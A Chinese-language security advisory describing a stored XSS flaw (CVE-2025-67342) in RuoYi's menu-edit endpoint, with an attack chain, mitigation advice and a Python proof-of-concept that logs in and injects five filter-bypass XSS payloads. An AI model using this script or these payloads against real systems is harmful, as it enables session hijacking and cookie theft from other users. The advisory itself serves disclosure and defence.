IPBUF安全漏洞报告
English
CVE-2025-67342 CVSS 4.6 中危

CVE-2025-67342 RuoYi系统存储型XSS漏洞

披露日期: 2025-12-12

漏洞信息

漏洞编号
CVE-2025-67342
漏洞类型
存储型XSS
CVSS评分
4.6 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
RuoYi

相关标签

存储型XSSRuoYiCVE-2025-67342XSS绕过后台管理系统菜单编辑会话劫持JavaScript注入

漏洞概述

RuoYi是一套基于SpringBoot的通用后台管理系统,广泛应用于企业级Web应用开发。该系统在4.8.1及之前版本中存在一处严重的存储型跨站脚本(XSS)漏洞,漏洞位于系统菜单编辑功能(/system/menu/edit)。虽然该接口部署了XSS安全过滤器,但由于过滤规则存在缺陷,攻击者可通过特定Payload绕过安全检测,将恶意JavaScript代码存储到系统菜单数据中。由于系统菜单数据在用户间共享,任何拥有菜单修改权限的用户都可以利用此漏洞向其他用户注入恶意脚本。当受害者访问相关菜单页面时,存储的恶意代码将在其浏览器上下文中执行,可能导致会话劫持、敏感信息窃取、钓鱼攻击等严重后果。该漏洞利用门槛较低,CVSS评分4.6,属于中危漏洞。

技术细节

漏洞根源在于RuoYi系统的XSS过滤器未能完整覆盖所有XSS攻击向量。攻击者可以通过构造特殊的Payload绕过过滤规则,例如使用HTML实体编码、大小写混合、注释插入等技术手段。在/system/menu/edit接口中,攻击者将恶意脚本注入到菜单名称、图标路径或其他可存储的字段中。系统将恶意数据存储到数据库后,当其他用户访问菜单列表或相关页面时,后端从数据库读取数据并直接渲染到HTML页面中,未经充分转义处理。浏览器解析HTML时执行恶意脚本,完成攻击。由于菜单数据在系统中全局共享,所有访问该菜单的用户都会受到攻击影响。攻击者通常配合社会工程学手段,诱导管理员或普通用户访问特定页面,触发XSS执行。

攻击链分析

STEP 1
步骤1
攻击者登录RuoYi系统,获取具有菜单编辑权限的低权限账户会话
STEP 2
步骤2
攻击者构造XSS Payload,通过大小写混合、编码、特殊字符组合等方式绕过XSS过滤器
STEP 3
步骤3
攻击者向/system/menu/edit接口发送POST请求,将恶意脚本注入到菜单名称或其他字段中
STEP 4
步骤4
系统将包含恶意代码的菜单数据存储到数据库,由于是存储型XSS,恶意代码持久化保存
STEP 5
步骤5
其他用户访问菜单列表页面时,后端从数据库读取菜单数据并直接渲染到HTML页面
STEP 6
步骤6
受害者浏览器解析HTML时执行注入的恶意JavaScript代码,导致Cookie窃取、会话劫持等攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-67342 PoC - Stored XSS in RuoYi /system/menu/edit # This PoC demonstrates bypassing the XSS filter to inject malicious JavaScript import requests import sys # Configuration target_url = "http://target-server:80" login_url = f"{target_url}/login" menu_edit_url = f"{target_url}/system/menu/edit" # Login credentials (low-privilege user with menu edit permission) credentials = { "username": "attacker", "password": "password123" } # XSS Payloads - Bypassing the filter # Try multiple payloads as the filter may be updated xss_payloads = [ # Payload 1: Event handler with encoded characters "<img src=x onerror=alert(document.cookie)>", # Payload 2: Using SVG element "<svg onload=alert('XSS')>", # Payload 3: JavaScript URI in anchor "<a href='javascript:alert(document.domain)'>Click Me</a>", # Payload 4: Body onload event "<body onload=alert(String.fromCharCode(88,83,83))>", # Payload 5: Input autofocus with onfocus "<input onfocus=alert(1) autofocus>" ] def login(session): """Authenticate to RuoYi system""" response = session.post(login_url, data=credentials) return response.status_code == 200 or "token" in response.text def exploit(session, payload): """Send the XSS payload to menu edit endpoint""" # Menu data with XSS payload injected into menuName field menu_data = { "menuId": 1000, "menuName": f"{payload}Normal Menu", "orderNum": 1, "parentId": 0, "path": "/test", "component": "Layout", "isFrame": "1", "isCache": "0", "menuType": "M", "visible": "0", "status": "0", "perms": "", "icon": "#" } headers = { "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest" } response = session.post(menu_edit_url, data=menu_data, headers=headers) return response.status_code == 200 def main(): session = requests.Session() print("[*] Attempting login...") if not login(session): print("[-] Login failed") sys.exit(1) print("[+] Login successful") for i, payload in enumerate(xss_payloads, 1): print(f"[*] Trying payload {i}: {payload[:50]}...") if exploit(session, payload): print(f"[+] Payload {i} sent successfully") print(f"[+] Payload stored in menu. Visit /system/menu to trigger XSS") else: print(f"[-] Payload {i} failed") if __name__ == "__main__": main()

影响范围

RuoYi <= 4.8.1

防御指南

临时缓解措施
临时缓解措施:在不影响业务的前提下,可以暂时禁用菜单编辑功能或限制该功能仅对管理员开放。同时可在前端部署WAF规则对XSS相关关键字进行过滤,对所有输出点实施严格的HTML转义处理。建议尽快升级到官方发布的安全补丁版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表